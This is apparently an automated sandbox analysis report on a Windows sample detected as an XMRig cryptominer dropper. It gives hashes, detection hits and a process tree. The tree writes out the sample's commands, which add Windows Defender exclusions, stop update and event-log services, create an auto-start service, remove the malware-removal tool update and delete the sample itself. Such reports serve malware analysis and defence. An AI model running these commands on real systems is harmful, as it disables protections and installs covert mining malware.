Analysis
-
max time kernel
118s -
max time network
117s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
25/10/2024, 19:41
Static task
static1
Behavioral task
behavioral1
Sample
ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe
Resource
win7-20240729-en
General
-
Target
ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe
-
Size
5.5MB
-
MD5
0281e94727f66b87296dc379569706e0
-
SHA1
80635505f84125327716001ea8715e6dda2291cd
-
SHA256
ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0
-
SHA512
aa29754269cb6797503059e10edcfa428953922d61e0cb2a0573db86511b10a62a3f529bc3a4d7221daabf353c2454655eb023b254da857be9a462b55f354a9b
-
SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 11 IoCs
resource yara_rule behavioral2/memory/468-62-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-68-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-67-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-66-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-64-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-65-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-61-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-69-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-71-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-72-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/468-73-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2912 powershell.exe 4496 powershell.exe -
Creates new service(s) 2 TTPs
-
Executes dropped EXE 1 IoCs
pid Process 2052 lutlgidagtja.exe -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2320 powercfg.exe 4848 powercfg.exe 4196 powercfg.exe 2836 powercfg.exe 1776 powercfg.exe 3612 powercfg.exe 3084 powercfg.exe 4168 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2052 set thread context of 2984 2052 lutlgidagtja.exe 149 PID 2052 set thread context of 468 2052 lutlgidagtja.exe 154 -
resource yara_rule behavioral2/memory/468-57-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-62-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-68-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-67-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-66-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-64-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-65-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-61-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-60-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-58-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-56-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-59-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-69-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-71-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-72-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/468-73-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4744 sc.exe 3140 sc.exe 3284 sc.exe 4568 sc.exe 4856 sc.exe 3056 sc.exe 4428 sc.exe 4696 sc.exe 1124 sc.exe 4916 sc.exe 4668 sc.exe 1896 sc.exe 4052 sc.exe 4156 sc.exe -
Modifies data under HKEY_USERS 46 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 2912 powershell.exe 2912 powershell.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 1064 ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe 2052 lutlgidagtja.exe 4496 powershell.exe 4496 powershell.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 2052 lutlgidagtja.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe 468 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 2912 powershell.exe Token: SeShutdownPrivilege 2836 powercfg.exe Token: SeCreatePagefilePrivilege 2836 powercfg.exe Token: SeShutdownPrivilege 2320 powercfg.exe Token: SeCreatePagefilePrivilege 2320 powercfg.exe Token: SeShutdownPrivilege 4196 powercfg.exe Token: SeCreatePagefilePrivilege 4196 powercfg.exe Token: SeShutdownPrivilege 4848 powercfg.exe Token: SeCreatePagefilePrivilege 4848 powercfg.exe Token: SeDebugPrivilege 4496 powershell.exe Token: SeShutdownPrivilege 3612 powercfg.exe Token: SeCreatePagefilePrivilege 3612 powercfg.exe Token: SeShutdownPrivilege 1776 powercfg.exe Token: SeCreatePagefilePrivilege 1776 powercfg.exe Token: SeLockMemoryPrivilege 468 nslookup.exe Token: SeShutdownPrivilege 3084 powercfg.exe Token: SeCreatePagefilePrivilege 3084 powercfg.exe Token: SeShutdownPrivilege 4168 powercfg.exe Token: SeCreatePagefilePrivilege 4168 powercfg.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2356 wrote to memory of 2540 2356 cmd.exe 101 PID 2356 wrote to memory of 2540 2356 cmd.exe 101 PID 4424 wrote to memory of 428 4424 cmd.exe 129 PID 4424 wrote to memory of 428 4424 cmd.exe 129 PID 1256 wrote to memory of 2136 1256 cmd.exe 137 PID 1256 wrote to memory of 2136 1256 cmd.exe 137 PID 2052 wrote to memory of 2984 2052 lutlgidagtja.exe 149 PID 2052 wrote to memory of 2984 2052 lutlgidagtja.exe 149 PID 2052 wrote to memory of 2984 2052 lutlgidagtja.exe 149 PID 2052 wrote to memory of 2984 2052 lutlgidagtja.exe 149 PID 2052 wrote to memory of 2984 2052 lutlgidagtja.exe 149 PID 2052 wrote to memory of 2984 2052 lutlgidagtja.exe 149 PID 2052 wrote to memory of 2984 2052 lutlgidagtja.exe 149 PID 2052 wrote to memory of 2984 2052 lutlgidagtja.exe 149 PID 2052 wrote to memory of 2984 2052 lutlgidagtja.exe 149 PID 2052 wrote to memory of 468 2052 lutlgidagtja.exe 154 PID 2052 wrote to memory of 468 2052 lutlgidagtja.exe 154 PID 2052 wrote to memory of 468 2052 lutlgidagtja.exe 154 PID 2052 wrote to memory of 468 2052 lutlgidagtja.exe 154 PID 2052 wrote to memory of 468 2052 lutlgidagtja.exe 154
Processes
-
C:\Users\Admin\AppData\Local\Temp\ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe"C:\Users\Admin\AppData\Local\Temp\ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1064 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2356 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:2540
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:4916
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:3140
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:4668
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3284
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3056
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2320
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2836
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4196
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4848
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:4568
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:4744
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:4428
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0N.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:428
-
-
-
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2052 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1256 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:2136
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1896
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:4052
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:4156
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:4696
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1124
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1776
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3612
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3084
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4168
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2984
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:468
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.5MB
MD50281e94727f66b87296dc379569706e0
SHA180635505f84125327716001ea8715e6dda2291cd
SHA256ced6b8c1824b82544da6d84adda138dbec8a062cee1744cded4abcab1af1cad0
SHA512aa29754269cb6797503059e10edcfa428953922d61e0cb2a0573db86511b10a62a3f529bc3a4d7221daabf353c2454655eb023b254da857be9a462b55f354a9b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82